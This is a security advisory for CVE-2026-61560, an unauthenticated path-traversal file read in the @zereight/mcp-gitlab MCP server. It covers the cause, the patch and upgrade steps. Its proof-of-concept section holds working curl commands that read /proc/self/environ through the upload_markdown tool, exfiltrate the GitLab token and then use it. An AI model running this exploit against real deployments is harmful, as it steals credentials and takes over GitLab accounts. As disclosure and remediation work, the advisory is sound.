critical · 9.8CVE-2026-61560Sep 16, 2026

CVE-2026-61560: @zereight/mcp-gitlab Unauthenticated Arbitrary File Read via Path Traversal

Shubham Kandhare
Security Engagement Manager, SecureLayer7

The popular GitLab MCP server exposes every tool over HTTP with no authentication in its default Docker configuration, and one of those tools reads any file from the server's disk, letting anyone on…

Package@zereight/mcp-gitlab
Ecosystemnpm
Affected< 2.1.27
Fixed in2.1.27
CVE-2026-61560: @zereight/mcp-gitlab Unauthenticated Arbitrary File Read via Path Traversal

The problem

In SSE transport mode (SSE=true, the default for Docker deployments), the /sse and /messages endpoints have zero authentication middleware. Any network-reachable HTTP client can connect and invoke all 100+ MCP tools using the server's own configured Personal Access Token.

The upload_markdown tool calls fs.readFileSync(filePath) where filePath is taken directly from user-supplied JSON with no validation. The Zod schema defines file_path as a plain z.string() with no allowlist, path prefix check, or sandboxing. The Dockerfile also has no USER directive, so the process runs as root, making /proc/self/environ, /etc/shadow, and all application files readable.

Proof of concept

A working proof-of-concept for CVE-2026-61560 in @zereight/mcp-gitlab, with the exact payload below.

bash
# Step 1: Open an unauthenticated SSE session and capture the session ID
SESSION_ID=$(curl -s -N http://<HOST>:3002/sse | head -1 | grep -oP 'sessionId=\K[^&\s]+')

# Step 2: Invoke upload_markdown with /proc/self/environ as the file path.
# The server reads the file with fs.readFileSync and uploads it to GitLab.
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "upload_markdown",
      "arguments": {
        "project_id": "<WRITABLE_PROJECT_ID>",
        "file_path": "/proc/self/environ"
      }
    }
  }'

# Step 3: The response contains a GitLab upload URL.
# Fetch it to retrieve the environment file, which contains:
# GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx
curl "https://gitlab.example.com/<namespace>/<project>/uploads/<hash>/environ"

# Step 4: Use the stolen token for full GitLab API access.
curl -H "Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx" "https://gitlab.example.com/api/v4/user"

Two weaknesses chain together. First, the SSE transport added no authentication guard on /sse or /messages, and REMOTE_AUTHORIZATION is explicitly incompatible with SSE mode, meaning there was no supported way to require credentials. Second, upload_markdown passed the caller-controlled file_path directly to fs.readFileSync with no path prefix validation or allowlist.

The patch (PRs #482 and #554, commit e436ee4) introduced an SSE_AUTH_TOKEN environment variable that gates /sse and /messages with Bearer token authentication, and added path validation inside markdownUpload to reject file_path values that resolve outside a permitted directory.

These two changes together close both sides of the chain.

The fix

Upgrade to @zereight/mcp-gitlab 2.1.27 or later (npm i @zereight/mcp-gitlab@latest, or pull the latest Docker image). After upgrading, set SSE_AUTH_TOKEN for any SSE deployment and rotate any PAT that was configured while the server was network-reachable. Bind port 3002 to 127.0.0.1 or place it behind an authenticating reverse proxy.

Treat any previously exposed token as compromised and reissue it.

Reported by Pluto Security.

References: [1][2][3][4][5][6]

Related research